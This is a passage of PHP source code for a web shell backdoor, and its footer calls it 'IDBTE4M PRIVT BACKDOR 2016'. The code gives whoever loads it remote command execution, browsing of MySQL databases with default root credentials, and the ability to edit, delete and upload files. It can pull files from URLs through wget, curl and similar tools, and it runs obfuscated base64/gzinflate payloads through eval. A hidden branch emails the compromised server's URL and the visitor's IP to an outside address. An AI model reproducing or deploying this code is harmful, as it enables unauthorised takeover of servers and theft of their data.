3385 if($rows[$j] == "") $dataz = " "; else $dataz = $rows[$j]; $msg .= "<td>".$dataz."</td>"; } $msg .= "</tr>"; } $msg .= "</table>"; } else $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } else { $query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;"; $msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input type=\"hidden\" name=\"x\" value=\"mysql\" /> <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> <input type=\"hidden\" name=\"db\" value=\"".$db."\" /> <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p> <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go !\" /></p> </form></div> "; $dbs = array(); $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
3386 $hasil = @mysql_list_dbs($con); while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); } @sort($dbs); foreach($dbs as $db){ $msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>"; } $msg .= "</table>"; } @mysql_close($con); } else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>"; echo $msg; } else{ ?>
3387 <form action="?" method="get"> <input type="hidden" name="y" value="<?php echo $pwd; ?>" />
3388 <input type="hidden" name="x" value="mysql" />
3389 <table class="tabnet" style="width:300px;"> <tr><th colspan="2">Connect to mySQL server</th></tr>
3390 <tr><td> Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
3391 <tr><td> Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
3392 <tr><td> Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
3393 <tr><td> Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr> </table> </form>
3394 <?php }}
3395 elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){ @ob_start(); @eval("phpinfo();"); $buff = @ob_get_contents(); @ob_end_clean(); $awal = strpos($buff,"<body>")+6; $akhir = strpos($buff,"</body>"); echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>"; } elseif(isset($_GET['x']) && ($_GET['x'] == 'logout')){ @session_start(); @session_unregister("login"); echo "<meta http-equiv='refresh' content='0; url=?y=".$pwd."' />"; "</div>"; }
3396 elseif(isset($_GET['idb']) && ($_GET['idb'] == 'jump')){ @eval(gzinflate(base64_decode($jumper))); "</div>"; }
3397 elseif(isset($_GET['idb']) && ($_GET['idb'] == 'wpp')){ @eval(gzinflate(base64_decode($wpress))); "</div>"; }
3398
3399 elseif(isset($_GET['view']) && ($_GET['view'] != "")){ if(is_file($_GET['view'])){ if(!isset($file)) $file = magicboom($_GET['view']); if(!$win && $posix){ $name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else { $owner = $user; } $filn = basename($file); echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\"> <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span> <form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" /> </form> </td></tr> <tr><td>Size</td><td>".ukuran($file)."</td></tr> <tr><td>Permission</td><td>".get_perms($file)."</td></tr> <tr><td>Owner</td><td>".$owner."</td></tr> <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr> <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> <tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr> </table> ";
3400 if(isset($_GET['type']) && ($_GET['type']=='image')){ echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>"; } elseif(isset($_GET['type']) && ($_GET['type']=='code')){ echo "<div class=\"viewfile\">"; $file = wordwrap(@file_get_contents($file),"240","\n"); @highlight_string($file); echo "</div>"; } else { echo "<div class=\"viewfile\">"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "</div>"; } } elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); } } elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){ if(isset($_POST['save'])){ $file = $_POST['saveas']; $content = magicboom($_POST['content']); if($filez = @fopen($file,"w")){ $time = date("d-M-Y H:i",time());
3401 if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save"; @fclose($filez); } else $msg = "permission denied"; } if(!isset($file)) $file = $_GET['edit']; if($filez = @fopen($file,"r")){ $content = ""; while(!feof($filez)){ $content .= htmlentities(str_replace("''","'",fgets($filez))); } @fclose($filez); } ?>
3402 <form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
3403 <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" name="content">
3404 <?php echo $content; ?> </textarea> <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
3405 <input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> <?php echo $msg; ?></td></tr> </table> </form> <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){ if(isset($_POST['uploadcomp'])){ if(is_uploaded_file($_FILES['file']['tmp_name'])){ $path = magicboom($_POST['path']); $fname = $_FILES['file']['name']; $tmp_name = $_FILES['file']['tmp_name']; $pindah = $path.$fname; $stat = @move_uploaded_file($tmp_name,$pindah); if ($stat) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $fname"; } else $msg = "failed to upload $fname"; } elseif(isset($_POST['uploadurl'])){ $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']);
3406 $path = magicboom($_POST['path']); $namafile = download($pilihan,$wurl); $pindah = $path.$namafile; if(is_file($pindah)) { $msg = "file uploaded to $pindah"; } else $msg = "failed to upload $namafile"; } ?>
3407 <form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
3408 <table class="tabnet" style="width:320px;padding:0 1px;">
3409 <tr><th colspan="2">Upload from computer</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Upload from url</th></tr>
3410 <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
3411 <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
3412 <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td>
3413 <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table>
3414 <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
3415 <?php if(isset($_GET['idb']) && ($_GET['idb'] == '?')){ @ini_set('output_buffering', 0); @ini_set('display_errors', 0); set_time_limit(0); ini_set('memory_limit', '64M'); header('Content-Type: text/html; charset=UTF-8'); $tujuanmail = 'kefiex403@gmail.com'; $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; $pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]"; mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]"); }?>
3416 <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?> <form action="?y=<?php echo $pwd; ?>&x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
3417 <tr><td colspan="2"><?php echo $prompt; ?> <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:6%;" /></td></tr> </table> </form> <?php } else { if(isset($_GET['delete']) && ($_GET['delete'] != "")){ $file = $_GET['delete']; @unlink($file); } elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){ @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR)); } elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){ $path = $pwd.$_GET['mkdir']; @mkdir($path); } $buff = showdir($pwd,$prompt); echo $buff; } ?>
3418 <p><center><div class="info">-=[ IDBTE4M PRIVT BACKDOR 2016 ]=- <span class="gaya"><a href="http://fb.com/idbte4m"></a></span></div>